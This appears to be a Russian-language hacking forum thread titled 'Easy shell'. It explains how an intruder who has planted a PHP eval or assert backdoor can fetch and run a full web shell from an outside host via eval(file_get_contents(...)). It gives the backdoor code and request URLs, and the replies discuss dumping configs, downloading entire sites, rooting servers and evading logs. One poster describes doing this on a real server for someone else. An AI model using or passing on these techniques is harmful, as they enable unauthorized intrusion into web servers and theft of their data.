![]() |
Easy shell
Не то чтобы статья, но многим, думаю, будет полезно. Итак, мы проникли в админку, мы в итоге смогли хоть куда-то впихнуть такой код, примеру:
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); или просто: assert(stripslashes($_REQUEST[lala])); stripslashes в данном случае исключительно для обхода magic_quotes=ON Многие чудики вставляют system($_GET['cmd']) и прочие безобразия, но это все лишнее, на самом деле все проще. Итак, вы вставили данный код куда-то (в faq.php, или у вас уже есть просто типо такой бекдор где-то в недрах скриптов сервера). Т.е. в итоге вы к примеру добились работоспособности вот такого линка: http://localhost/user.php?e=phpinfo(); И после этого у многих начинающих ступор. Немедленно следующий вопрос - а что же делать дальше? А давайте повнимательнее взглянем на этот phpinfo, что нам вывело, основные два пункта, что нас будут интересовать в данной ситуации: allow_url_fopen allow_url_include allow_url_include - да, жесть конечно, но, как правило, off. Остается allow_url_fopen, а он, как правило = ON. Как же мы может использовать данную возможность, безрассудно оставленную админом, чтобы не париться особо (не искать папки, доступные на запись и тому подобную ерунду выяснять да и вообще не заливать шелл как таковой, но лазить по серваку как-будто шелл уже залит). Да очень просто. Если allow_url_fopen = ON и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д. (не путайте с "порутать", только то, что можно прочитать) Берем последний шелл от глубокомноюуважаемого oRb в этой теме: https://forum.antichat.net/thread103155.html - первый пост удаляем первую строчку: <?php # Web Shell by oRb + удаляем последнюю ?> + можно удалить пароль, шелл ведь не заливаем, просто юзаем, не оставляя сохраняем на любой хост как bla_bla.txt (тот же narod.ru вполне подойдет) или в виде картинки на файлообменнике, предоставляющем прямые ссылки на скачку контента и делаем такой запрос: http://localhost/user.php?a=eval(file_get_contents('http://site.ru/bla_bla.txt')); Всё. У вас полноценный шелл без физического его залития на сервак со всеми обычными возможностями шелла. Спасибо за внимание PS: tested on WSO2.4 (wso2_pack.php) |
Это метод больше наследит в логах... лучше уж залить файл на сервер.
Либо использовать шелл через system($_POST['a']) + плагин firefox ( Для отправки пост запросов ) |
Речь, к примеру, идет о ситуации, что вы не знаете куда заливать, или, "куда заливать" просто нет, физически. Или не представляется возможным найти обычными средствами. (таже system легко может быть в списках исключения и тому подобные ситуации). А тут вы просто лазиете и смотрите все сами, сразу, как будто шелл уже залит - и права и возможности и владельцев в нормальном удобочитаемом виде.
В логах так или иначе что-то останется, просто при allow_url_fopen=ON шелл заливается за считанные секунды, ну, или, по крайней мере узнается вся структура сервера + читаются все возможные конфиги без особых напрягов. PS: Т.е. даже если все под рутом и нет ниодной папки на запись - вы все все равно сможете полазить и посмотреть все что нужно, это раз, выполнить php-код любой сложности, не зависящий от длины адресной строки, это два. Закачать прямо с компа полноценный шелл (сплойт) в любую папку, доступную на запись (не из веба) и выполнить его (например, чтобы порутать сервер и залить шелл уже куда угодно и по всем понятиям) - это три. Ну и, наконец, если вообще все под рутом, нет ни одной папки на запись на всем серваке и серв не рутается - вы можете просто слить весь сайт. К себе на комп. Это четыре. Статья написана именно после того, как сегодня в личке один чел попросил залить шелл, и там как раз вообще все под рутом и нет папок на запись. Однако конфиги и структура таки все поимелись. |
Пашко, опять ты всякую фигню народу советуешь =\
PHP код:
Вот. Это самый минимум для нормального минимального шелла. Причем спокойно влезает даже в GET запрос. |
2 BlackSun:
)) не, ну понятно, вариаций мильон, просто чтобы народ знал, что если есть phpinfo(); - то есть уже всё, чтобы не сомневались, и что allow_url_fopen=ON фактически == тот же удаленный инклуд. PS: Ну и плюс удобство какое-никакое, в виде эргономичного тотал-командера) И потом зачем изобретать колесо, если уже есть WSO с бекконектом, который будет работать, как не странно :cool: Т.е. просто вдумайтесь - именно полноценный шелл со всем обычными возможностями полноценного шелла GUI вариант короче) |
Цитата:
Не надо заблуждать народ, а то из твоего поста выходит что имея на серваку пхпинфо мы можем магическим способом превратить его в шелл. |
Pashkela, имхо тема не раскрыта. Можно было бы рассмотреть методы при разных конфигах, как вариант и т.п.
|
Цитата:
|
Да-да, абсолютно согласен, просто "статью" написал после примерно 20-40 мессаг в осику, типо "а что делать дальше, если работает ?cmd=phpinfo(); - КАК ЗАЛИТЬ ШЕЛЛ?!?!", ибо достали. Никоим образом этот топик не претендует ни на что, просто чтобы вопросов меньше было. С кодом от BlackSun еще не каждый (кто задает такие вопросы) разберется.
|
Мне помогло, была у меня highlight и с помощью этой статьи раскрутил, спасибо!
|
| Время: 23:16 |